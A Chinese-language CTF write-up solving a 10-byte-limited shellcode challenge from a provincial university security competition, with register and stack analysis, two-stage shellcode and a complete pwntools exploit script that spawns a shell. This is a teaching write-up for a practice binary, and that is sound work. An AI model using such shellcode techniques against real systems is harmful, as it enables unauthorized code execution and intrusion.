shellcode - 有长度限制的 shellcode 解法
shellcode
shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为 16 进制之机械码,以其经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。
程序分析
题目来源:第七届浙江省大学生网络与信息安全竞赛预赛

checksec

逆向分析

程序的功能很直接,执行输入的一段 shellcode,但是有 0xa 的长度限制。
并且存在 memmem
函数,检查输入的内容,使用 IDA 继续查看
unk_203D
的内容,发现是出题人禁止了 syscall
的机器码。

动态调试
在程序执行 shellcode 之后,观察寄存器和栈的情况。当时比赛时发现
r8
中存有 syscall
指令的地址,我的一个想法是控制寄存器 rax
, rdi
,
rsi
, rdx
执行系统调用 read
。
mov rsi,rax
xor rax,rax
xor rdi,rdi
add rdx,0x50
call r8
不过这样的长度已经超出 0xa 的限制了。后面我又想了很久,想继续利用
r8
跳转到某个 main
函数上的指令,调试发现从
r8
到一个 main
函数的地址需要减去三位十六进制数,也就是说操作数占据了 shellcode 中 0x4
的长度了。哎,结果我就这样忽视了 rsp
上的
<main+0132>
,一直到比赛结束。
攻击流程
这里的思路是白夜学长提供的。
调整传参寄存器,控制程序流程
ELF 中的 read
函数参数如下
栈中的数据如下

第一段 shellcode
pop rdx; 返回地址出栈
pop rdi; fd
pop rsi; 将不需要的数据出栈
pop rsi; *buf <- shellcode address
sud rdx,0x41; 减去偏移,结果为 <main+00f1>
call rdx
将程序跳转到 main
函数的 call _read
前:
执行 shellcode
没有了读入限制后,直接使用 pwntool 生成的 shellcode 即可。
Exploit
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
p = process("./shellcode1")
#p = remote("139.155.126.78", "38681")
shellcode = """
pop rdx;
pop rdi;
pop rsi;
pop rsi;
sub rdx, 0x41;
call rdx;
"""
gdb.attach(p)
p.sendafter(b"input", asm(shellcode))
shellcode = """
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
""" #10个nop,因为下次执行的地址是在shellcode1的结尾(call rdx)
shellcode += shellcraft.sh()
p.send(asm(shellcode))
p.interactive()
小结
这回的省赛属于是坐了四小时大牢了。每道题目或者是在现实实践中,自然是与之前遇到的情况会有不同。因此对程序动态运行中的各种状态应该敏锐一些,例如栈、寄存器,可能会有发现。